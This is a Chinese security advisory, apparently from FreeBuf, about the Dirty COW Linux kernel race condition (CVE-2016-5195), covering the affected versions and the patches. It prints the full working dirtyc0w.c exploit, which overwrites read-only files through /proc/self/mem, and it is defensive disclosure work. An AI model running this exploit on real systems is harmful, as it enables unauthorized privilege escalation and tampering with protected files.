漏洞预警:Linux内核9年高龄的“脏牛”0day漏洞
这个名叫Dirty COW,也就是脏牛的漏洞,存在Linux内核中已经有长达9年的时间,也就说2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队已经对此进行了修复。

漏洞编号:
CVE-2016-5195
漏洞名称:
Dirty COW
漏洞危害:
低权限用户利用该漏洞可以在众多Linux系统上实现本地提权
影响范围:
Linux kernel >= 2.6.22(2007年发行,到今年10月18日才修复)
漏洞概述:
该漏洞具体为,Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.)
竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
根据官方发布的补丁信息,这个问题可以追溯到2007年发布的Linux内核。现在还没有任何证据表明,2007年后是否有黑客利用了这个漏洞。不过安全专家Phil Oester称发现一名攻击者利用该漏洞部署攻击,并向Red Hat通报了最近的攻击事件。
修复方法:
进行Linux内核维护的Greg Kroah-Hartman宣布针对Linux 4.8、4.7和4.4 LTS内核系列的维护更新(更新后为Linux kernel 4.8.3、4.7.9和4.4.26 LTS),修复了该漏洞。目前新版本已经登录各GNU/Linux发行版库,包括Arch Linux(测试中)、Solus和所有受支持版本的Ubuntu。Debian开发人员前天也宣布稳定版Debian GNU/Linux 8 “Jessei”系列内核重要更新——本次更新总共修复4个Linux内核安全漏洞,其中也包括了脏牛。
各操作系统供应商应该即刻下载Linux kernel 4.8.3、Linux kernel 4.7.9和Linux kernel 4.4.26 LTS,为用户提供稳定版渠道更新。
软件开发人员可以通过 https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。
漏洞POC:
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
安全公司高估了“脏牛”的威胁?
虽然这个漏洞今天占据了各大安全媒体的头条,但实际上它对Linux生态系统可能并没有构成致命威胁,当然用户还是应该及时更新系统。
发现该漏洞的安全研究人员认为,某些安全公司过度夸大了这个漏洞的危害——为了嘲讽了那些夸大此漏洞的人,他们特别为“脏牛”做了logo和主页,设了推特账户,还开了个网店,店里的电脑包售价仅在1.71万美元(上万了呢),上面有脏牛的LOGO哦,算是相当有诚意的周边。
话虽如此,“脏牛”漏洞构成的威胁还是真实存在的。在接受V3的采访时,Oester披露,有攻击者上传并执行CVE-2016-5195漏洞利用,攻击了他管理的某个网站。Oester表示:“这个漏洞年代久远,可以影响到许多年前发布的Linux内核。所有Linux用户都应严肃对待这个漏洞,及时修复系统。”
* 漏洞盒子安全团队发布,转载请注明来自FreeBuf(FreeBuf.COM)
漏洞预警:Linux内核9年高龄的“脏牛”0day漏洞的更多相关文章
- Linux内核通杀提权漏洞CVE-2016-5195验证
一.漏洞简介 CVE-2016-5195这个漏洞是linux内核级的本地提权漏洞,原理是linux内核内存子系统在 处理私有只读存储映射的写入时复制机制发现了一个冲突条件.这个漏洞官方给出的影响范围是 ...
- 9.CVE-2016-5195(脏牛)内核提权漏洞分析
漏洞描述: 漏洞编号:CVE-2016-5195 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围:Linux内核>=2 ...
- 【漏洞预警】Intel爆CPU设计问题,导致win和Linux内核重设计(附测试poc)
目前研究人员正抓紧检查 Linux 内核的安全问题,与此同时,微软也预计将在本月补丁日公开介绍 Windows 操作系统的相关变更. 而 Linux 和 Windows 系统的这些更新势必会对 Int ...
- [转帖]预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响
预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响 https://cloud.tencent.com/developer/article/1447879 所有的 版本 ...
- Linux内核通杀提权漏洞CVE-2016-5195 - 内核升级方法
如题,对于脏牛(Dirty COW)漏洞的修复方式已经在上篇文章中有介绍过如何验证,这里对如何升级内核给出修复建议. (注意:为避免不必要的生产风险的发生,请审核自己的实际环境而决定采用什么方法进行升 ...
- Linux内核info leak漏洞
1 Information Leak漏洞风险 从应用层软件,到hypervisor再到kernel代码,都存在Information Leak的风险.下面给出一些示例: 应用层软件:通常是应用敏感数 ...
- Linux内核中TCP SACK机制远程DoS预警通告
漏洞描述 2019年6月18日,RedHat官网发布报告:安全研究人员在Linux内核处理TCP SACK数据包模块中发现了三个漏洞,CVE编号为CVE-2019-11477.CVE-2019-114 ...
- CVE-2019-11477:Linux 内核中TCP协议栈整数溢出漏洞详细分析 代码卫士 今天
CVE-2019-11477:Linux 内核中TCP协议栈整数溢出漏洞详细分析 代码卫士 今天
- Linux内核漏洞精准检测如何做?SCA工具不能只在软件层面
摘要:二进制SCA工具要想更好的辅助安全人员实现安全审计.降低漏洞检测的误报率,必须向更细颗粒度的检测维度发展,而不仅仅停留在开源软件的层面,同时对漏洞库的要求也需要向细颗粒度的精准信息提出的挑战. ...
随机推荐
- pygame-KidsCanCode系列jumpy-part0-使用sprite
油管(youtube)上有一个号称"史上最好的pygame教程"(传送门:https://www.youtube.com/watch?v=VO8rTszcW4s&list= ...
- Jsoup的简易使用示例
http://www.open-open.com/jsoup/parsing-a-document.htm 测试用网页 <!doctype html> <!-- http://jwc ...
- SpringCloud无废话入门05:Spring Cloud Gateway路由、filter、熔断
1.什么是路由网关 截至目前为止的例子中,我们创建了一个service,叫做:HelloService,然后我们把它部署到了两台服务器(即提供了两个provider),然后我们又使用ribbon将其做 ...
- [CSS] Useful CSS tool for Web designer and developer
1. Color Picker (Chrome) You might know how to use color picker in Chrome, recently there is a featu ...
- [Python设计模式] 第25章 联合国维护世界和平——中介者模式
github地址:https://github.com/cheesezh/python_design_patterns 题目背景 联合国在世界上就是中介者的角色,各国之间的关系复杂,类似不同的对象和对 ...
- py3下怎么用StringIO
try: from StringIO import StringIO except ImportError: from io import StringIO
- Xcode10.1 import头文件无法索引
如下路径,修改设置 Xcode --> File --> Workspace Settings --> Build System --> Legacy Build System
- 生产环境CPU过高问题定位
问题描述: 生产环境下的某台tomcat7服务器,在刚发布时的时候一切都很正常,在运行一段时间后就出现CPU占用很高的问题,基本上是负载一天比一天高. 解决过程: 1.根据top命令,发现 ...
- pandas Series的sort_values()方法
pandas Series的 sort_values() 方法能对Series进行排序,返回一个新的Series: s = pd.Series([np.nan, 1, 3, 10, 5]) 升序排列: ...
- Android Studio创建JAR/AAR库
[时间:2017-09] [状态:Open] [关键词:Android,Android Studio,gradle,jar,aar,library] 0 引言 最近在工作中遇到了升级Android S ...
